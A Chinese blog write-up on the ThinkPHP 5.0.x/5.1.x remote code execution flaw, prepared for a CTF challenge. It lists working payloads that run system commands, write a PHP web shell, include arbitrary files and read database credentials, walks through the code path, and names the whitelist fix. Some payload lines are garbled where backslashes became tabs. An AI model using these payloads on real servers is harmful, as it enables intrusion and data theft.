zoukankan      html  css  js  c++  java
  • ThinkPHP5.0x远程代码执行漏洞

    0x00 前言

    下午想用thinkphp出一道代码执行题目,顺便学习了一下tp中的远程代码执行漏洞。
    记录一下踩的几个坑。

    漏洞概要

    漏洞影响版本: 5.0.5<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
    这里我选择的是5.0.22拿来出题。

    本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

    payload

    # ThinkPHP <= 5.0.13
    POST /?s=index/index
    s=whoami&_method=__construct&method=&filter[]=system
    
    # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
    POST /
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
    
    # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
    POST /?s=xxx HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=ls+-al
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
    

    再贴几个:

    5.1.x :

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    5.0.x :

    ?s=index/thinkconfig/get&name=database.username # 获取配置信息
    ?s=index/	hinkLang/load&file=../../test.jpg    # 包含任意文件
    ?s=index/	hinkConfig/load&file=../../t.php     # 包含任意.php文件
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    注意不同版本的payload会不同,哪怕仅仅差了一点点也有可能失败。要会灵活变通。

    分析与复现

    这里先来说一下,推荐去官网下载。。一开始用户的compose安装,把poc都试了一遍,都没有成功。后来去看漏洞分析,我的组件怎么比人家的少这么多?!可能compose安装的是核心版?去官网下载完整版终于是复现成功了。

    一下内容摘抄自七月火大师傅的文章,师傅太强了,现在的我还是写不出来能超越这篇文章的深度,,就拿来摘抄了:

    https://mochazz.github.io/2019/04/09/ThinkPHP5漏洞分析之代码执行10/#漏洞分析

    首先在官方发布的 5.0.24 版本更新说明中,发现其中提到该版本包含了一个安全更新。

    我们可以查阅其 commit 记录,发现其改进了。接下来,我们直接跟进代码一探究竟。

    这次我们不再直接跟着 payload 进行漏洞分析,而是通过官方的些许描述和 github commit 记录,来还原漏洞。从官方的修复代码中,我们可以很明显的看出 $method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST 。也就相当于可以随意调用 Request 类的部分方法。

    同时,我们观察到 Request 类的 __construct 方法中存在类属性覆盖的功能,这对我们之后的利用非常有利, Request 类的所有属性如下:

    protected $get                  protected static $instance;
    protected $post                 protected $method;
    protected $request              protected $domain;
    protected $route                protected $url;
    protected $put;                 protected $baseUrl;
    protected $session              protected $baseFile;
    protected $file                 protected $root;
    protected $cookie               protected $pathinfo;
    protected $server               protected $path;
    protected $header               protected $routeInfo 
    protected $mimeType             protected $env;
    protected $content;             protected $dispatch 
    protected $filter;              protected $module;
    protected static $hook          protected $controller;
    protected $bind                 protected $action;
    protected $input;               protected $langset;
    protected $cache;               protected $param   
    protected $isCheckCache;
    

    我们继续跟进程序,会发现如果框架在配置文件中开启了 debug 模式( 'app_debug'=> true ),程序会调用 Request 类的 param 方法。这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数。

    我们跟进 param 方法。发现其调用 method 方法(上图 第16行 )。其会调用 server 方法,而在 server 方法中把 $this->server 传入了 input 方法。这个 $this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值。也就是说,可控数据作为 $data 传入 input 方法,然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。

    接下来就是我们很熟悉的 filterValue 方法调用 call_user_func 处理数据的过程,代码执行也就是发生在这里。

    上面我们讲的是开启框架调试模式下,触发 远程代码执行 漏洞,接下来我们再来看看如果没有开启框架调试模式,是否可以利用该漏洞。在 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch[‘type’] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。

    跟进 Request 类的 param 方法,我们发现其后面的调用过程又会和先前的分析一样了,这里不再赘述。

    现在我们还要解决一个问题,就是如何让 $dispatch[‘type’] 等于 controller 或者 method 。通过跟踪代码,我们发现 $dispatch[‘type’] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系。这个 $route 变量取决于程序中定义的路由地址方式。

    ThinkPHP5 中支持 5种 路由地址方式定义:

    而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch[‘type’] 等于 method ,从而完成 远程代码执行 漏洞。

    所以最终的 payload 类似下面这样:

    POST /index.php?s=captcha HTTP/1.1
        ⋮
    Content-Length: 59
    
    _method=__construct&filter[]=system&method=get&get[]=ls+-al
    # 或者
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
    

    这里复现还有一个坑,我在本地执行whoami可以执行成功,但是执行别的命令会报错。
    换到服务器上就行了。。
    再附上几张复现图片

    漏洞修复

    官方的修复方法是:对请求方法 $method 进行白名单校验。

    攻击总结

    参考

    https://mochazz.github.io/2019/04/09/ThinkPHP5漏洞分析之代码执行10/#攻击总结

    这两天一直在出题,从出题的角度来说学到了不少东西。最想吐槽的就是我之前写的编写dockerfile文章,写的什么东西。。网站权限防搅屎都没做,很多好用的镜像都没写。数据库配置拉跨。。
    一篇很垃圾的水文,dockerfile这么简洁方便被我写的又臭又长,以后有时间再补吧。

  • 相关阅读:
    在Eclipse中指定JDK
    VMware桥接模式下主机和和虚机间互相ping不通的处理方法
    CentOS7系列--10.1CentOS7中的GNOME桌面环境
    CentOS7系列--5.3CentOS7中配置和管理Kubernetes
    CentOS7系列--5.2CentOS7中配置和管理Docker
    CentOS7系列--5.1CentOS7中配置和管理KVM
    CentOS7系列--4.1CentOS7中配置DNS服务
    CentOS7系列--3.2CentOS7中配置iSCSI服务
    移动web开发(一)——移动web开发必备知识
    文章索引
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12701227.html
Copyright © 2011-2022 走看看